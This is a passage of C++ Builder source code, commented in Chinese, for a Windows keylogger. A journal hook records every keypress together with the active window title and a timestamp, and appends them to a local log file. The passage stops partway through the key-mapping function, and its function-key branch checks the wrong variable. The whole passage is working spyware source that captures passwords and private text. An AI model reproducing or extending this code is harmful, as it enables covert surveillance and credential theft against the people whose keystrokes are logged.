//---------------------------------------------------------------------------
#include <vcl.h>
#include <stdio.h>
#pragma hdrstop
#include \"main.h\"
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource \"*.dfm\"
//---------------------------------------------------------------------------
HOOKPROC JournalLogProc(int iCode,WPARAM wParam,LPARAM lParam);
//钩子变量
HHOOK g_hLogHook=NULL;
//记录上一次得到焦点的窗口句柄
HWND g_hLastFocus=NULL;
//键盘掩码变量
const int KeyPressMask=0x80000000;
//保存上一次按键值
//char g_PrvChar;
//---------------------------------------------------------------------------
HOOKPROC JournalLogProc(int iCode,WPARAM wParam,LPARAM lParam)
{
if(iCode<0) return (HOOKPROC)CallNextHookEx(g_hLogHook,iCode,wParam,lParam);
if(iCode==HC_ACTION)
{
EVENTMSG* pEvt=(EVENTMSG*)lParam;
int i;
HWND hFocus; //保存当前活动窗口句柄
char szTitle[256]; //当前窗口名称
char szTime[128]; //当前的Ri期和时间
FILE *stream=fopen(\"f:\\My\\logfile.txt\",\"a+\");
if(pEvt->message==WM_KEYDOWN)
{
int vKey=LOBYTE(pEvt->paramL); //取得虚拟键值
char ch;
char str[10];
hFocus=GetActiveWindow(); //获得活动窗口的句柄
if(g_hLastFocus!=hFocus)
{
GetWindowText(hFocus,szTitle,256); //取得一个窗体的标题
g_hLastFocus=hFocus;
strcpy(szTime,DateTimeToStr(Now()).c_str());
fprintf(stream,\"%c%s%c%c%s\",10,szTime,32,32,szTitle);
fprintf(stream,\"%c%c\",32,32);
}
int iShift=GetKeyState(0x10);
int iCapital=GetKeyState(0x14);
int iNumLock=GetKeyState(0x90);
bool bShift=(iShift&KeyPressMask)==KeyPressMask;
bool bCapital=(iCapital&1)==1;
bool bNumLock=(iNumLock&1)==1;
if(vKey==9) //TAB
fprintf(stream,\"%c\",'\t');
if(vKey==13) //回车键
fprintf(stream,\"%c\",'\n');
if(vKey>=48 && vKey<=57) //数字键0-9
{
if(!bShift)
fprintf(stream,\"%c\",vKey);
else
{
switch(vKey)
{
case 49:
ch='!';
break;
case 50:
ch='@';
break;
case 51:
ch='#';
break;
case 52:
ch='$';
break;
case 53:
ch='%';
break;
case 54:
ch='^';
break;
case 55:
ch='&';
break;
case 56:
ch='*';
break;
case 57:
ch='(';
break;
case 48:
ch=')';
break;
}
fprintf(stream,\"%c\",ch);
}
}
if(vKey>=65 && vKey<=90) //A-Z a-z
{
if(!bCapital)
{
if(bShift)
ch=vKey;
else
ch=vKey+32;
}
else if(bShift)
ch=vKey+32;
else
ch=vKey;
fprintf(stream,\"%c\",ch);
}
if(vKey>=96 && vKey<=105) //小键盘0-9
{
if(bNumLock)
fprintf(stream,\"%c\",vKey-96+48);
}
if(vKey>=186 && vKey<=222) //其它键
{
switch(vKey)
{
case 186:
if (!bShift)
ch=';';
else
ch=':';
break;
case 187:
if (!bShift)
ch='=';
else
ch='+';
break;
case 188:
if (!bShift)
ch=',';
else
ch='<';
break;
case 189:
if (!bShift)
ch='-';
else
ch='_';
break;
case 190:
if (!bShift)
ch='.';
else
ch='>';
break;
case 191:
if (!bShift)
ch='/';
else
ch='?';
break;
case 192:
if (!bShift)
ch='`';
else
ch='~';
break;
case 219:
if (!bShift)
ch='[';
else
ch='{';
break;
case 220:
if (!bShift)
ch='\\';
else
ch='|';
break;
case 221:
if (!bShift)
ch=']';
else
ch='}';
break;
case 222:
if (!bShift)
ch='\'';
else
ch='\\"';
break;
default:
ch='n';
break;
}
if (ch!='n' )
fprintf(stream,\"%c\",ch);
} //
if(vKey>=112 && vKey<=123) // 功能键 [F1]-[F12]
{
switch(wParam)
{
case 112:
fprintf(stream,\"%s\",\"[F1]\");
break;
case 113:
fprintf(stream,\"%s\",\"[F2]\");
break;
case 114:
fprintf(stream,\"%s\",\"[F3]\");
break;
case 115:
fprintf(stream,\"%s\",\"[F4]\");
break;
case 116:
fprintf(stream,\"%s\",\"[F5]\");
break;
case 117:
fprintf(stream,\"%s\",\"[F6]\");
break;
case 118:
fprintf(stream,\"%s\",\"[F7]\");
break;
case 119:
fprintf(stream,\"%s\",\"[F8]\");
break;
case 120:
fprintf(stream,\"%s\",\"[F9]\");
break;
case 121:
fprintf(stream,\"%s\",\"[F10]\");
break;
case 122:
fprintf(stream,\"%s\",\"[F11]\");
break;
case 123:
fprintf(stream,\"%s\",\"[F12]\");
break;
}
}
if (vKey>=8 && vKey<=46) //方向键
{
switch (vKey)
{
case 8:
strcpy(str,\"[BK]\");
break;
case 9:
strcpy(str,\"[TAB]\");
break;
case 13:
strcpy(str,\"[EN]\");
break;
case 27:
strcpy(str,\"[ESC]\");
break;
case 32:
strcpy(str,\"[SP]\");
break;
case 33:
strcpy(str,\"[PU]\");
break;
case 34:
strcpy(str,\"[PD]\");
break;
case 35:
strcpy(str,\"[END]\");
break;
case 36:
strcpy(str,\"[HOME]\");
break;
case 37:
strcpy(str,\"[LF]\");
break;
case 38:
strcpy(str,\"[UF]\");
break;
case 39:
strcpy(str,\"[RF]\");
break;
case 40:
strcpy(str,\"[DF]\");
break;
case 45:
strcpy(str,\"[INS]\");
break;
case 46:
strcpy(str,\"[DEL]\");
break;
default:
ch='n';
break;
}
if (ch!='n' )
{
//if (g_PrvChar!=vKey)